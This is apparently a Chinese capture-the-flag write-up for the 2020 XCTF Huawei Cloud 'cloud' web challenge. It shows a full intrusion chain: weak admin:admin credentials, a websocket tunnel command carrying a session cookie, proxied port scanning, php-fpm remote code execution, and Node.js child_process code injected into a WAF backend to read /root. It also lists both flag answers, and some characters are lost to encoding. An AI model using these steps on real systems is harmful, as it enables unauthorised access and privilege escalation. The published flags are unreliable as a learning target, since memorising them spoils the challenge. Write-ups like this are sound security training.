cloud

发表于 2021-03-15 更新于 2021-05-20 分类于 Challenge， 2020， XCTF高校网络安全专题挑战赛， 华为云专题赛， Web
Challenge | 2020 | XCTF高校网络安全专题挑战赛 | 华为云专题赛 | Web | cloud

点击此处获得更好的阅读体验

WriteUp来源

官方WP

题目考点

解题思路

该题目模拟了一个配置不当的云环境

1. *作为□个云服务商的对外展示站，本站□□点是□个静态□站，我们对□站进□扫描，发现以下□些有趣的地□*

管理员登录□ /admin

```
1 phpinfo.php
```

结合中间件Nginx来判断，□标服务器存在反向代理的情况。同时托管了半静态□站（beego框架）和php

2. *通过对管理员登录□的弱密码猜解， admin:admin 可以获得以下信息，很明显这是上□个□客留下的后□程序。得到shadowclient的源代码。分析源代码可以得知这是□个websocket隧道代理，通过编译运□并通过附加cookie的参数就能向以服务器□络权限服务器发起访问。*

```
1 ./shadowclient -c beegosessionID=65c3ab016dc35d4c902755456d11209b -l
2 127.0.0.1:10800 -o http://127.0.0.1 -p UAF -r ws://localhost/wsproxy
```

接下来，可以进□服务端端□探测了

挂上代理，使用proxychians + nmap -sT 端口扫描，可以得到127.0.0.1开放了端口9000，是php-fpm的端口，可以 rce，参考 phith0n 的脚本打一下

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

*获得了 www-data 权限，在根目录可以找到**flag1**。*

3. *研究后台其他进程，可以看到一个叫 sharewaf 的软件正在运行，监听了端口 13090*

```
1 查看该软件的□档
2 http://www.sharewaf.com/
```

账号密码在 根目录的 password.txt.swp 中可以找到登录用的账号密码。

登陆 waf 后台后，在其他页面中可以在安全辅助功能中插入代码，直接插入 js 代码，

```
1  var exec = require('child_process').exec;
2  function execute(cmd){
3      exec(cmd, function(error, stdout, stderr) {
4          if(error){
5              console.error(error);
6          } else {
7              console.log("success");
8          }
9      });
10 }
11 execute('ls /root > /tmp/1.txt');
12 execute('cat /root/*.txt >> /tmp/1.txt');
```

*重启 waf 即可触发 js 代码执行，反弹 shell 或者列目录 /root 即可看到**flag2**，完成提权过程。*

*此时的□户是**root***

□此我们完成了从外□突破到内□应□攻击到内□提权的过程。

备注

该题有两个flag

```
1 /flag1: 82648554-ff31-460a-977e-c1008ea6e02e
2 /root/flag2: d43af794-94ef-40d1-af75-b4e8c6ca3bf3
```


 # Challenge # 2020 # Web # XCTF高校网络安全专题挑战赛 # 华为云专题赛
hids
EthEnc